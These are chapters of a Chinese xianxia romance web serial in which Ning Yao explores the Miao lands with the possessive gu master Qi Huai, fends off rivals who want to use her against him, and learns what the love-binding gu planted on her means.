宁瑶难以置信地发现,自己竟真的没再动,偏头将发烫的脸颊掩着,轻轻抵在他胸前,含糊地“哦”了一声。 祁淮顺势收拢手臂,眼底掠过一丝得逞的微光。 良久,他终于松了手。 宁瑶摸了摸后颈残留的热意,心下茫然。 是情缠蛊的作用吗? 自己才会这般纵容他…… 祁淮指尖随之抚上她后颈:“怎么?” “没什么。”宁瑶抬眸,绽开一个轻快的笑,“我没来过苗疆呢,我想梳洗打扮一下出去逛一下。” 祁淮看着她好奇扑闪的眼,想到她方才在院中看向自己都是新鲜的眸光。 若是瞧见外面那些苗人,她会不会也对旁人露出那样的眼神? 若真有人敢觊觎…… 他眸色倏地沉郁,凝成一团化不开的浓墨。 宁瑶已雀跃起来,“对了,我若是在苗疆行走,可有没有什么禁忌吗?” “跟在我身边,不要离开我半步。”祁淮微歪头,深邃的眼波牢牢锁定着她。 “?” 宁瑶点点头,“知道了。” 祁淮熟稔地执起她的长发,手指灵活穿梭。 这屋里连一面镜子都没有,他临时掐诀化出一面悬空的水镜。 院落空空,除了他俩,再无旁人。 祁淮便是在这般孤寂中长大,竟成了苗疆圣子,最强的炼蛊人。其间艰辛,宁瑶略一想,他不知要付出多久的努力了。 她透过水镜悄悄地看祁淮,立刻被祁淮敏锐捕捉。 祁淮手下未停,灵巧地给她绾了个俏皮的猫耳髻。 宁瑶看得好奇又欢喜,转念想到祁淮他会这样多了,平日她只管享受,此刻心头莫名泛上一丝异样。 瞧了一眼屋内陈设,透着无处不在的冷清。 “好看。”宁瑶抬眸对着祁淮轻声夸道。 小猫一夸,祁淮唇角便压不住地上扬。 “光夸可不够,我的奖励呢?” 宁瑶一愣,当真认真思索起来,对祁淮这苗疆圣子而言,究竟什么才算奖励。 未待她想出,某人已自行凑近,他眸光一眨不眨游移落在她唇上。 “这里。”祁淮话音一落,已俯身微凉的唇瓣轻贴上来。 宁瑶无意识地仰起脸。 祁淮渡来的灵力起初试探,随即撬开齿关,长驱直入。 他手掌轻扣宁瑶后脑,不容退避地眨了眨眼,气息交缠间从缝隙漏出低语:“奖励,就该这样。” 灵力交汇流转,暖意融融在彼此周身。 她恍惚间似捕捉到一丝灵光,祁淮却已轻轻退开,忽的满足地弯唇一笑,为她发辫中挂了和他发辫一样的小铃铛。 “走吧。”他牵起她的手,眸光落在她怔愣却仍是好看的笑靥。 祁淮的手着她走的时候,宁瑶甚至没觉得有什么不对。 直到被他带出两步,她后知后觉地一怔。不知从什么时候起,她竟已习惯了祁淮的亲近。 思绪被打断,可思及刚刚灵力交汇一事,脸颊仍是微不可察地红了红。 宁瑶脸颊在发热,轻咳一声:“好啊,走吧。” 等逛完,她一定要好好问问他…… 腕上力道稍紧,祁淮已牵着她迈出了门。 苗疆街市的风貌瞬间撞入眼帘,宁瑶的注意力立刻被吸引了过去。 街道格局虽与羽安国相似,两旁铺子里陈列的却尽是稀奇古怪的物事。 晒干的草药,叫不出名字的骨器、蜷在罐中的奇异蛊虫、朱砂绘就的符纸…… 往来行人皆身着苗疆人特有的服饰,银饰随步伐泠泠作响。 “在这儿,能力越强,越能控制身上银饰的声响。”祁淮的声音在身侧响起。 宁瑶下意识看向他周身银饰,略带困惑,“你身上也是啊?” “嗯。”祁淮应得随意,忽而歪头冲她一笑,眼底似有亮光流动,“不过,我喜欢让它们叮叮当当地响。” “为什么?” “因为……”祁淮笑着漫不经心,却故意拖长了调子,目光毫不避讳地落在宁瑶脸上,瞧着她好奇的眸便得逞似的凑近,“声音够响,才能引来某人注意。” 宁瑶怔了怔,才反应过来祁淮说的“某人”是谁。 心脏不受控的悸动。 正待开口,祁淮发辫银穗却陡然随他贴靠而来轻晃。 铃音细碎。 叮铃,叮铃…… 宁瑶明明听过这些银饰无数遍的声响,寻常的声音此刻响在耳畔,却无端缠上一缕说不清的旖旎。 好像在喃喃低语,诉说着祁淮显而易见的心事。 宁瑶倏地偏过头,脸颊耳根一路烧了起来,她攥了攥拳头,克制这份悸动,可那些不受控的情绪泛滥成灾。 她慌忙地看向街边,故作左右打量,陡然瞥见一个卖香囊的小摊。 摊后的小姑娘一见祁淮便恭敬行礼,目光转向宁瑶时却明显一愣。 她看清宁瑶发辫上银饰的样式竟与祁淮的相配,表情顿时变得微妙起来。 宁瑶心里咯噔一下。 她正想着外人是否会排斥,可小姑娘却眨了眨眼,好奇地打量起她的衣裙,目光又在她与祁淮之间转了个来回:“姑娘是从山海渊外边来的?” “嗯。”宁瑶点点头,心思落在那些绣工精巧的香囊上,全然未觉四周已有不少苗人悄悄驻足侧目。 祁淮眸色倏然转深,向前逼近半步,几乎将她笼在身影里。 他目光扫过她发间的银饰,唇角极淡地一勾。 再抬眼望向周遭时,眼底却漫开一片隐晦而危险的凉意,如同无声的昭告,淡淡掠过每一道投来的视线。 作者有话说:ps:因为我没看好规则,一个月全勤没了,我已经做到月更十万字了,只是不够小花花而已…… 第65章 宁瑶挑了半天,选中一只绣着玉兰的香囊,刚细看,摊主小姑娘忽地动了。 小姑娘从摊子底下另取出一只,两只香囊并排摆在一处,图案竟又能暗线拼成完整的一幅。 她飞快地瞟了一眼宁瑶身侧的祁淮,这圣子怎么把山海渊的外人带来,看着姑娘一点不怕祁淮,只怕是被这可怖的家伙种下了情蛊。 她抬起眼看向宁瑶,眸子里满是复杂的光。像同情,又像惧怕。 这把宁瑶看得莫名。 “这香囊本就是一对的。”小姑娘声音细细的,说完就低下头去摆弄摊上东西。 祁淮将钱递了过去。 苗疆流通的不是灵石,而是一种特制的银币,形如小巧的贝壳,串起来叮当作响。 他付钱时那串银币碰出声响,宁瑶不由多看了一眼。 “喜欢?给。”祁淮侧眸看着她的小动作,解下一串放进她掌心,“看见什么喜欢的就用这个。” 宁瑶拎起那串“小贝壳”晃了晃,清脆的响动中,祁淮已拿起其中一只香囊,俯身亲手为她系在腰间。 他指尖不过数偶尔擦过她腰侧,动作不紧不慢。 就一个低头系带的动作,骤然被无数道目光刺破。 连摊主小姑娘也瞪大的眼,宁瑶早就习以为常。 鼎沸声中似寂静了一秒,藏在摊位后,屋檐下的打量,此刻明目张胆地聚拢过来。 宁瑶只觉得疑惑,扫了一眼四周,后知后觉地发现,自己这身衣裙在满街斑斓的苗疆服饰中确实扎眼得很。 “我是不是……”宁瑶往祁淮身边凑近半步,声音压低道,“穿得太不合风俗了?得入乡要随俗吧……” “随什么俗?”祁淮偏过头弯了弯唇角,理直气壮道,“你只管照你喜欢的样子来。” 他瞧着小猫贴近的小动作,极其自然地握住她的手。 将宁瑶往自己身侧一带,是一个充满占有意味的姿势。 宁瑶眨了眨眼,还没完全消化他话里的意思,只顺着本能点头:“好啊。” 他含笑对她,掀起了眼帘转眸看向四周时,视线带着无声的阴戾。 原本肆无忌惮好奇的目光触电般缩了回去,行人纷纷垂下头,假装自个忙碌。 他这才收回视线。 “走了。”他语气平淡,仿佛刚才什么也没发生。 宁瑶被他牵着往前走,腰间的香囊随着步伐轻轻晃动,侧眸看着少年,那些芒刺般的目光似乎也没那么难以忍受了。 哪怕一路仍有好奇之人窥伺,祁淮便用眼神逼退。 无礼者,他不介意采取特殊手段。 他腕上陡然松松缠着黑蛇,怪怪正嘶嘶吐信,试图攀过衣料贴近少女,却被祁淮周身无形的威压禁锢着,只得老老实实盘成个臂环。 宁瑶亮眸扫了一眼四周,街市上偶尔掠过几个未着苗疆服饰的人,零星得可怜。 她扯了扯两人相牵的手,指向前方一家染坊旁的成衣铺子,“我想换身苗疆衣裳试试。” 祁淮指节微收,将她手腕圈得更紧了些。 他眼睫低垂,目光扫过她鹅黄色裙衫,仿佛已能勾勒出银饰在她发间摇晃,彩锦贴着她身线流转的光景。 “好。”祁淮含笑得嗓音有些低。 宁瑶雀跃地拉他进了店。 不多时,她便穿着件深蓝底绣星月的长裙转出屏风。 她笑着看着少年的目光霎时定格。 他看得极认真,缓步绕她走了一整圈。 银饰随宁瑶转身叮铃轻响。 “我好看吗?”宁瑶仰脸轻笑,这衣服还挺合适,“祁淮,可不许说违心话。” 祁淮凑近一步微歪头,视线久久缠在她身上,半晌喉间挤出低哑的声音:“好看。” “没骗我吧?”宁瑶笑着眨了眨眼,却见他一时呆愣,倒是少见。 “不会骗你。”祁淮声音愈发地沉。 他竭力在记忆里翻找话本上那些华丽的辞藻,目光却黏着宁瑶身上片刻都移不开,最终干涩地重复道,“好看,我……说的真心话。” 宁瑶弯起眉眼,颇为满意地一笑,“我信你。” “那以后,你也要一直信我。”祁淮唇瓣嗫嚅,无声地飘进空气里。 两人再度出门时,她发觉落向自己的目光并未减少,反而更多了。 只是这一回,那些视线总是先怔怔地凝在祁淮身上,半晌才迟疑地挪到她这里。 她不由失笑,晃了晃两人相牵的手。 祁淮却以为她要松开,指尖蓦地收紧,将她整只手牢牢裹进掌心,“怎么了?” “在这儿,祁淮你的大名真是无人不知。”宁瑶笑着打趣,用手臂轻轻碰了碰他,眨了下眼。 祁淮长睫半垂,在触及她目光的瞬间唇角扬起,眼底却翻涌着近乎病态的偏执占有,以及一丝难以捕捉的慌乱。 “大抵是圣子这名号,听着可怕吧。” 他绝不能让宁瑶知道,圣子之名的背后浸着洗不尽的血腥。 他也骗了她,唯有杀了上一任,才能接下这个位置,周而复始,轮回不休。 他不能吓跑他的小猫。 他在学她喜欢的笑容,学她口中“正常人”的模样。 可她不知道,祁淮,他从来就不是什么好人。 那双阴郁的眸子掠过四周时,已带上一丝无声的警告。 宁瑶将目光从他侧脸移开。 可怕? 她现在可一点也没觉得。 “不可怕呀,”她仰起脸,眸光依旧明亮,“祁淮,苗疆很好,你也很好。” 见他唇线微抿,她索性伸出指尖,点了点他的两颗小痣,又轻轻戳了戳他唇角,“笑起来更好看。” 她不喜欢他不笑的样子。 这家伙笑起来时,明明像只漂亮又狡猾的狐狸。 祁淮从善如流地扬起笑容:“好。” 一路走去,祁淮始终紧贴在她身侧。 指尖相扣的触感如此真实,让他一遍遍确认:她就在这里,在他的世界,在他的苗疆。 宁瑶兴致勃勃地四处张望,时不时与摊主交谈。 虽看得出众人对她身侧之人存着顾忌,倒也让她买了不少新奇玩意儿。 祁淮的步子始终不疾不徐,稳稳跟住她的节奏。 只是他的目光渐渐沉了下来,她的视线总是笑着落在旁人身上。 那些苗疆人,哪有他…… 途经一间食肆,宁瑶眼睛一亮,拉着他进门挑了靠窗的位子。 她看不懂苗疆文字,祁淮便默默付了钱,将招牌菜点了个遍。 “不知你吃得惯哪些,便都尝一遍。总能找到喜欢的。” 宁瑶眨眨眼:“会不会太浪费了?”属于现代人爱惜粮食的本能悄悄冒头。 “无妨。”祁淮指尖轻点臂上伪装成臂环的小蛇,“吃不完,便喂给怪怪。” 宁瑶噗嗤笑出声,虽仍下意识避开蛇的方向,却应道:“好呀。” 怪怪不满地晃了晃脑袋,尾巴在他腕上轻拍两下。 等菜时,宁瑶无意瞥见邻桌,好几道菜里竟掺着各式虫豸。 反观自己这一桌,菜肴却样样清爽。她夹起一筷送入嘴里,滋味意外地好。 若真有虫子,她怕是筷子都伸不出去。 祁淮眼中那点恶劣的玩味悄悄隐去,他指了指邻桌:“那些并非不好吃,念着你怕虫,便没点。想试试吗?” “不用不用。”宁瑶咬着竹筷连连摇头,干笑着眉眼弯弯,“这些就很好。” 她没想到他竟细心至此,心头一暖,笑容愈发灿烂,“祁淮,有你在真好。” 那笑如光,直直撞进他心口。 祁淮偏过头,指尖无意识地摩挲腰间银铃,病态的欢愉在胸腔蔓延。 他端起茶杯掩住唇角扬起的弧度,声线却放得轻:“喜欢便多吃些。” 饭毕已是黄昏。 苗疆的夜晚来得静谧,摊贩随着日落陆续收拢,长街渐空。 两人慢步往回走,一个孩童冷不丁撞进宁瑶怀里。 她下意识扶住孩子,“小心一点。”目送那小小身影跑远,才走出几步,忽然摸了摸腰间。 “祁淮,我的储物玉佩不见了。”她神色染上焦急,公主娘亲留下的遗物还在里面。 祁淮伸手揉了揉她的发顶,“乖乖在这儿等我。” 话音未落,祁淮身影掠入渐浓的暮色中。 银铃轻响,散入微凉的晚风里。 宁瑶刚想跟出,身影已消失了。 等了一会的功夫,几道身影便从暗处围了上来。 为首那人嗤笑道:“这就是圣子身边那姑娘?调虎离山这招,果然好用。” “抓了她,不怕那疯子不就范。” “圣祭就在眼前,逼他自裁……下任圣子之位,可就空出来了。” 宁瑶见他们全然没把自己放在眼里,也不多话,腕间一抖,长鞭如灵蛇般窜出,破空清响。 “想拿我威胁他?”宁瑶挑眉,唇角却弯起,“先试试我的鞭子答不答应。” 这几人驱使蛊虫的本事远不及祁淮,三人加起来也不过放出二十余只。 宁瑶指尖一捻,灵火骤燃,精准地扑向虫群,同时在周身布下一层结界护住。 “这丫头竟敢!” “退!快退!祁淮那疯子从哪儿找来的火灵根?这火竟能克我们的蛊!” 眼见蛊虫在烈焰中噼啪作响,那几人顿时慌了神,狼狈不堪地四散逃遁。 宁瑶收起鞭子,看了眼周遭狼藉的街道,轻轻吐出一口气。 此时,马蹄声由远及近。 一队人马疾驰而来,为首的青年身着藏青苗疆服饰,银饰繁复却寂静无声。 他眉眼凌厉,与洛子晟那种清冷出尘不同,更似一柄出鞘的剑,剑眉星目间俱是凛然正气。 缰绳一勒,骏马人立而起。 他稳在她几步之外。 青年居高临下地扫来,目光在宁瑶不卑不亢的身影停留一瞬,声音沉肃:“何人敢在主城动武?” 宁瑶不愿给祁淮惹麻烦,又不识来人,便抱拳一礼:“方才有人寻衅,不得已动用灵力自保,我毁了街道,实在抱歉。” 玉溪锦只扫了眼她的拱手姿势,便知是山海渊来的外族人。 “既在苗疆,便守苗疆的规矩。”他语气冷硬,“街禁将至,速速回去。” 宁瑶尴尬地挠了挠脸颊,“那个,我不认得路。” “你是哪家的客人?”玉溪锦不耐地瞥她一眼,旋即似想起长辈叮嘱要对小姑娘温柔些,勉强将语气放缓两分,“罢了,报上名字,我遣人送你。” “宁瑶,我是祁淮的客人。” “祁淮?”玉溪锦眸中骤然掠过一丝诧异,下颌微绷,咬着牙低语,“他竟回来了……” 他收紧拳头又松开,朝身后一摆手,“上马,送你回去。” 宁瑶本想说他一会儿会来接,可触到对方那锐利审视的目光,到嘴边的话又咽了回去,只干干笑了笑。 一名护卫让出马匹。 宁瑶利落翻身上马,她的骑术是洛子晟亲手教的,堪称翘楚,跟上队伍毫不费力。 这领头的青年行事一板一眼,倒怪热心的。 行至熟悉的竹楼外,还未靠近,已嗅到清甜桂香。 玉溪锦勒马,下颌朝那方向一扬:“到了。” 宁瑶轻盈跃下,拱手道:“多谢。” 她习惯性地扬起一个明灿笑容。 玉溪锦视线在她脸上定格一瞬,忽地扭开脸,冷峻的侧脸线条更硬几分,硬邦邦抛下一句:“别随便对人这样笑。” 宁瑶嘴角一僵,默默抿住了唇。 这人好生古怪。 祁淮取回储物玉佩,回到原地不见人影,只见打斗痕迹,心下一沉,几乎是一路疾奔回来。 此刻见宁瑶安然立在楼下,他阴郁的眸光与策马而去的玉溪锦视线相擦而过。 见玉溪锦远去的背影,他眸光暗沉。 快步上前,视线环绕一圈,确认她无恙,暗松了一口气。 “怎么没在原地等我?” 作者有话说:前文活泼的祁淮,他刚把女宝带回苗疆总是欢愉喜不自胜,可要面对现实问题,祁淮又会……你们懂得~[狗头] 第66章 “那人说是要街禁了,怕给你惹麻烦,我便和他回来了。”宁瑶老实答道,看他抿起的唇。 祁淮这是着急了? “他可对你做了什么?和你说了什么?”祁淮探查她身上可有其他人的蛊虫,并无痕迹才放心。 不顾街外还未走散的行人,将她拉入怀中,生怕无人看见一般,抱了一下得逞微扬唇角,保持冷静地放开了手,一副无事发生的错觉。 宁瑶呼吸一滞,摇了摇头,“没有,他只是见我迷路,送我回来。人虽怪了一点,但倒是好心人。” “好心人?”祁淮看她居然会对玉溪锦给出这么一个评价,顿时有了一股危机感。 对玉溪锦靠近宁瑶,祁淮无端升起一股无形的不安感,心脏似被什么紧紧攥着。 “那人与我有怨结,以后离他远些。”祁淮抬手给她腰间系上储物玉佩,语气异常的温柔又带着不容置喙占有的意味,“记住了吗?” 宁瑶看他这般轻轻点头,忍不住挪开目光低笑一声,“放心吧。” “不过你和他,什么恩怨。”宁瑶小声道,好奇地眨了眨眼。 祁淮微歪头弯唇,笑意不达眼底,“圣子之争罢了。” 祁淮目光掠过她眉眼间,她自己都不易察觉的倦色。 想来小猫是累了。 祁淮不再多言,忽地将人打横抱起。 宁瑶睫毛轻轻颤了颤,声音不自觉压低,扫了一眼,街上还有行人:“我可以自己走的。” “抱紧。”祁淮低声说道,紧了紧手臂。 宁瑶只好搂着他的脖子,头靠在他肩胛骨,手轻锤一下他胸口,恨不得把自己埋起来。 见宁瑶的小反应,祁淮眸底潮湿的、近乎病态占有与欣喜的暗涌,这些被他一一妥帖藏起。只化作无声的蛛网,将他一颗心层层缚紧。 此刻,这样将小猫实实在在地拥在怀里,低头便能见着发顶、眉眼。 因玉溪锦出现的不安,才能被短暂地抚平。 他单手推开门扉,木门发出绵长的“吱呀”声,在身后合拢。 宁瑶确实是累极了,祁淮这住处原本空荡荡的没几样东西,谁知他们出去一趟再回来,这屋内竟凭空多出好些物件来。 屋内不仅添了一面光可鉴人的梳妆铜镜,并排放着崭新的雕花衣柜,连案几上都摆满了她平日偏爱的小玩意儿,衣裙缎带更是被整整齐齐叠在榻边。 宁瑶好奇地惊得睁大眼睛,左看看右摸摸。 “这些是什么时候变出来的?” 祁淮微歪过头,理直气壮道:“让余凌去置办的,喜欢吗?” “嗯。”宁瑶笑着拿起一把温润的玉梳在掌心摩挲,笑着打趣道,“不知道的,还以为你把我在天道宗那间小屋子原样搬过来了呢。” 她抬眼时,正瞧见少年正关注看向自己。 宁瑶望着一时竟有些出神,匆匆挪开目光。 她坐下,下意识椅背靠了靠,慌忙扯了个话题:“对了,那个人说的不要随便对别人笑,是什么意思?” 祁淮神色微妙地顿了一下。 “在苗疆,”祁淮刻意慢声着,目光一瞬不瞬锁着她,带着某种被取悦后的、幽暗的欢愉,“许多亲昵之举,乃至展露笑颜,通常只在夫妻之间。” 他指尖微微收紧,一手搭在椅背,将她更密实地圈进自己的领地。 他眼睛直勾勾得瞧着她,话语直白得不容转圜:“所以往后在苗疆不要对别人笑,只对我一个人笑,好不好?” “夫、夫妻?”宁瑶被这两个字砸得懵住,压根没回答而是脸颊瞬间烧透,追问道,“还有呢?” “还有……”祁淮忽地弯腰,附耳过来,气息拂过她敏感的耳廓,嗓音压低,字字清晰,“拥抱。” 宁瑶倒吸一口气,咬了咬唇:“祁淮,你怎么不早说……” 这文化差异亏可吃大了! 所有“犯规”的事,她好像一件不落地在苗疆全做了。 现在外面人该怎么看她和祁淮…… 她竟第一个念头在想这个。 真是疯了。 夫妻…… 她心里大字闪烁的两字眼,第一个念头竟是羽青月、宁子桉。 她一瞬,略带彭拜的情绪无声被浇灭了一息。 而某人还乐在其中。 祁淮见她羞恼的模样,心底那点病态的欢愉与更深的不安交织撕扯,几乎要冲破他勉力维持的克制。 宁瑶轻咳一声,忽略掉这些事情,脚下极快地洗漱,几乎一沾枕头就睡了。 夜半时分,半睡半醒似有什么轻轻缚住了她,有人自身后将她拢进怀里。 这一次宁瑶没有睁眼,只任由少年微凉的体温一丝丝渗过衣衫,与自己体内流转的火灵气息悄然交融平衡。 第二日,因圣祭临近,余凌一大早就将祁淮请走了。 临走前祁淮特意叮嘱,让她可以随意逛逛。 宁瑶坐在窗边小口咬着包子,第一次目送他的背影。 那人分明急着离开,却偏要一步三回头,消失在院门时还不忘朝她这边望最后一眼。 宁瑶没忍住唇角弯成了月牙。 可她刚踏出门槛,便瞧见玉溪锦环臂倚在廊柱下,他硬朗英气的面颊忽明忽暗。 他目光在宁瑶脸上停留片刻,开口道:“你是祁淮的客,我本不该多事。但山海渊不是你该来的地方,更不该留在祁淮那样危险的人身边。” “此话怎讲?”宁瑶眼睫微垂,将眸中神色掩去大半,只余一丝恰到好处的疑惑。 玉溪锦负手向前半步,檐影随之漫过他半张脸。 “你身上有情蛊的气息,祁淮从不与人亲近至此,却独独将你带回。但好在圣祭在即,你若想走,还有机会。” 他眉目间一派坦荡恳切,一副真心为个陌路人计较。 可这世上哪有无缘无故的关切? 宁瑶心下沉了沉,面上扬起几分懵懂:“圣子之争是什么呀?” “你竟一无所知就敢跟他来苗疆?!” 玉溪锦眉头拧紧,声音沉了下去,“五年一度的圣子之争,上一届圣子需接受挑战,祁淮天赋惊人,他杀了上一届圣子,上一届圣子是我的叔父,我劝你离他远一点。每一届流血之事确实不少,可没有像他一般毫不留情。” 宁瑶轻轻“啊”了一声,指尖却悄悄掐住了袖口。 “既然如此凶险,历年可有过伤亡?” “自然有。” “那若是祁淮输了,死了,谁会为他惋惜?”宁瑶仰起脸,眼眸清亮亮的却透着清醒,心口毫无征兆地闷疼了一瞬。 “在苗疆祁淮独自一人,一无背景,二无人可依,你可以毫不犹豫说出他杀了你的叔父,可若是他死了,你便不会这般同我说了。” 那样危险的人,住处空荡得只剩空气,也不像追名逐利之人,究竟为何非要卷进圣子之争? 玉溪锦脸色倏地僵住,半晌硬邦邦道:“他本就不是善类,你好自为之。” 宁瑶扮出几分受惊模样,目光却掠过对方紧绷的身形。 玉溪锦见她油盐不进,胸腔起伏,终是压住了那股烦躁。 自己是否太过咄咄逼人? “多谢提醒。”宁瑶适时垂下眼帘。 玉溪锦神色稍缓。 她趁势抬头:“那‘情缠蛊’又是什么?我曾在杂书上见过这名字。” “你知道情缠蛊……”玉溪锦瞳孔一缩,再度逼近一步。 高大身影笼下来,语气里掺了不可置信的凝重,“那不是普通情蛊。一人一生唯能养出一只,向来只在神树下缔结婚盟时彼此相种。” 他顿了顿,审视的目光投下:“此蛊同生共死,寿数相连,可唯一缺点是,若不是真心相爱也会因它而心动。你怎会问起这个?” “只是偶然读到,觉得稀奇。”宁瑶歪了歪头,袖中的手悄悄握紧,“那可有解法?” 玉溪锦沉默地踱近两步,居高临下地看她,像在掂量她话里真伪。 “苗疆有两棵神树,一棵缔缘,一棵断缘。”他声音低了下去,似有叹息,“但我族儿女,从未有人走向后者,在苗疆只有丧偶绝无二心,不像你们外族人多妻的。” 宁瑶心里被什么击中了一下,顿时有些怀疑自己对祁淮是因为自己,还是因为这情缠蛊了。 颈后的情缠蛊又在隐隐发热。 “瑶瑶。”祁淮突然出声打断了两人对话。 玉溪锦见到他面色越发冷硬,冷哼一声。 祁淮忽的一笑,凑近自然地牵着宁瑶的手腕,阴郁的眸底暗藏挑衅地看向玉溪锦,牵着她的手往院内走,“少和这种人多交谈。” 大门紧闭。 玉溪锦前来带来的危机感,阴郁的微光眸子在眼底凝聚,浓郁地仿佛是化不开的阴影。 祁淮将宁瑶轻轻拉着坐在椅子上,阴影笼罩下来,眼底郁色如浓云堆积,却被他藏起。 宁瑶仰起脸,眨了眨眼,清亮的眸子里映出他的轮廓:“怎么了?” “瑶瑶,”他唤她,声音低哑下去。 心底一丝不易察觉难受,祁淮微歪头,银饰轻响。 “碰碰我,好不好?”掌心情缠蛊灼灼发烫,喧嚣着祁淮无法言说的渴求。 与椅子微凉温度的不同,扣在她后颈的手掌蔓延开来的温度透过薄薄衣料,熨帖着肌肤。 宁瑶被热度烫得轻轻缩了一下脖子。 好在,她竟觉得自己算有些经验了。 不至于再听见这些直白的话,就一下子面红耳赤,叫人恨不得脑袋宕机。 宁瑶干咽一口,定了定神,这回胆子大了不少。她抬手便抚上他的脸颊,指尖触及才恍然发觉,她的手掌落在他的脸颊竟显得这样小。 “这样可以吗?” “嗯。”少年眼底是取悦后的玩味。 少年肌肤细腻微凉,触感意外的好。 宁瑶有些没忍住把玩地捏了捏。 祁淮无意识地偏过头,蹭了蹭她的掌心,像只收起所有利爪与戾气的凶兽,甘愿将最脆弱的颈项置于她手畔。 见她毫无防备,祁淮恶劣小情绪涌上来,得寸进尺般极快地在她唇上啄了一下。 温软触感一掠而过,带起细微痒意,像羽毛在宁瑶心底轻挠而过。 她心尖一跳,下意识仰头,齿尖不小心磕碰在他下颌上。 只听他喉间溢出一声闷哼,宁瑶莹白耳垂染上一层绯色,心跳骤然快得离谱。 “干什么突然偷袭?” “无事,我不喜欢他靠你太近。”祁淮眸光一暗。 半垂长睫掩住翻涌的暗色,声音低得近乎呢喃:“别拒绝我,瑶瑶。” “知道了。” 祁淮的瞳孔里清晰倒映着一双清亮妍丽的眸,亮得晃眼。 可心口莫名一空。 “……为什么还是这么干净?” 为什么没有染上和他一样的占有色彩? “什么?”宁瑶不解地追问。 第67章 祁淮看向她的目光不受控地加深,紧紧黏在鹅黄色的身影上。 那眼神如同盯紧猎物的凶兽,挣扎着一丝渴望,又矛盾地缠着点别的冲突情绪。 祁淮忽地低下头,鼻尖蹭过她温热的颈侧。 宁瑶浑身一僵,声音绷紧:“祁淮?” 独属于她的馨香丝丝缕缕钻入呼吸,他眸底压抑的暗火跳了跳,俊美无俦地面容生的染上一丝偏执。 可开口时,嗓音里又透出连自己都不察觉的、理智崩断后的克制:“我无事。” 宁瑶还没来得及回答,唇上便是一软。 他带着股不由分说的力道,撬开她的唇齿,呼吸交缠的瞬间,灵力随之探入。 勾缠着她唇齿的一切,扣着她后颈不许有片刻的退缩。 宁瑶被他夺走所有呼吸,下意识握拳捶了下他心口。 宁瑶怔了一下。 ……她为什么,不该更用力地推开吗? 祁淮正沉醉于她口中的清甜,眸色痴迷了一刹,下唇陡然传来轻微的刺痛。 宁瑶反应过来,不轻不重地咬了他一下。 飞快地用手指捂住他的嘴,趁祁淮愣神,似回味对上她视线的功夫。宁瑶忍着热得发烫的脸,眼睛直直看进他眼底。 “祁淮,你知不知道,你现在在做什么?这灵力互换、补全神识的法子,究竟叫什么?” 祁淮被她捂着嘴也不恼,反而伸出舌尖,故意似的舔过她柔嫩的掌心。 “啧……”宁瑶脸颊一热,湿濡温热的触感瞬间炸开,陌生又悸动,像被烫到般猛地缩回手。 这家伙…… 见祁淮并无意识到此事的意义,甚至在她问来眼底还有一丝微妙茫然的歪头。 宁瑶深吸一口气,做好心理建设,才半是羞恼半是嗔怪地飞了他一眼,一字一顿说道:“是、灵、修。” ——这可是比寻常双修更深入、更纠缠的功法。 至于她为何知道…… 咳,总不能说是从前在限制文里瞄见过几眼。 宁瑶紧紧盯着祁淮,想看他的反应。 可祁淮听到名字怔怔地望着宁瑶,眸色深得化不开,可耳根处却悄然爬上一抹薄红。 四目相对,竟是祁淮先一步不自然地挪开了视线,片刻又移回来,投来更为占有性的眼神。 祁淮喉结滚了滚,声音又低又哑,却强撑着那股不讲理的劲儿,理直气壮道:“反正,我不想停。” 他垂眸狡黠地垂眸,“你这神识应该不稳,还得多加固。” “你……”宁瑶干笑了一下。 祁淮居然拿这个当借口,是不是以为堵得她无话可说,“那也有别的法子。” 她梗着脖子看着他。 祁淮抬手摸了摸她的发顶,修长指尖把玩她的一缕小辫,摇着叮当作响,满意地微歪头道,“那你说还有什么法子?” “我……”宁瑶猛地回过神,发现自己被他绕了进去,连忙将话题拽回来,“先别说那些,祁淮你从实招来,你怎么会知道这种方法的?” 祁淮动作几不可察地顿了一下。 他耳尖悄然地漫上薄红,直起身,语气仍是不紧不慢道:“书上看的,便记下了。” 宁瑶简直要被他这副理直气壮的样子气笑。 宁瑶无奈。 这人究竟知不知晓到底何为“灵修”,做“夫妻”又是什么意义,随意给她下了情缠蛊…… 她懒得再同他理论,一把抓起他的手腕,就要泄愤似的咬下去。 齿尖刚触及皮肤,却听见祁淮先一步发出的低笑。 他将指尖轻点在唇上,眸底漾开微光:“要不,咬这儿?” “你……”宁瑶深深吸气,感觉脑袋又要嗡的一声停止运转。 祁淮眼底那点恶劣的笑意几乎藏不住,又怕真将人惹恼,迅疾换回无辜神情,张开手臂轻轻环住她。 宁瑶磨了磨后槽牙,连推带赶将他撵去隔壁房间。 祁淮站在紧闭的门外,指尖缓缓抚过唇上浅浅的齿痕,探舌轻舔,又故意在旧伤处咬了一下,直至腥甜漫开。 他的小猫又留下印记了。 得用记事珠把今天的事好好记下来。 少年垂下眼睫,笑意不减。 次日,祁淮照例为圣祭之事需提早出门。 宁瑶想起昨日玉溪锦那番话,忍不住问:“圣祭具体何时开始?要持续几日?” “七日后,届时你好好在家等我。” “我不能去吗?”宁瑶疑惑看向他。 “祭典上到处是蛊虫,你会怕的。” 祁淮偏过头看她。 其实他何尝不想时时刻刻将宁瑶带在身边,可那些小虫与喋喋不休的长老,都会惊扰他的小猫。 聒噪的人群。 他明明只想和她待在只有彼此的天地。 不行,还差一点,他很快便能成功拿到婚印了…… 宁瑶听到“虫”字下意识头皮发麻。 可她的习惯也真是可怕,近日祁淮早出晚归,竟品出几分不自在。 正走神时,眼前晃过一抹鹅黄。 祁淮掌心里坠着一只哑声的小铃铛,可刚落入她掌心,便发出极轻极脆的“叮铃”一声。 “若它响了,”他收回手,将另一只铃铛偷偷紧攥入掌心拢在身后,“便是我想你了。” 祁淮顿了顿,又轻声对她嘱咐:“若觉得闷,可以在这城中走走,只是离其他苗人远些,尤其是玉溪锦。”说到最后几个字他咬牙切齿。 “好,答应你。”宁瑶笑着应答。 宁瑶扯了扯他的衣袖,想到圣子之争,她唇瓣微张,想在他走之前说什么,又不知从何问出口。 她终是轻声开口:“其实玉溪锦同我提了几句圣子之争,你为何要争这个位置?” 话音一落这刹那,四周空气仿佛凝固了一瞬。 祁淮背影倏地僵住。 他回身来,双手握着宁瑶纤细的手臂,哪怕是这般力道都没失了分寸。 “别听他的。”祁淮声音发紧,每个字都像是从齿间咬磨出来的,目光死死锁住她的脸,“信我。” “我信你呀。”宁瑶仰面迎上他灼人的视线,声音没有半分犹疑,视线是无声的安抚。 紧握的力道蓦地一松。 祁淮半垂眼睫,捏紧了手,再抬眼时,眸底翻涌着晦暗难明的情绪。 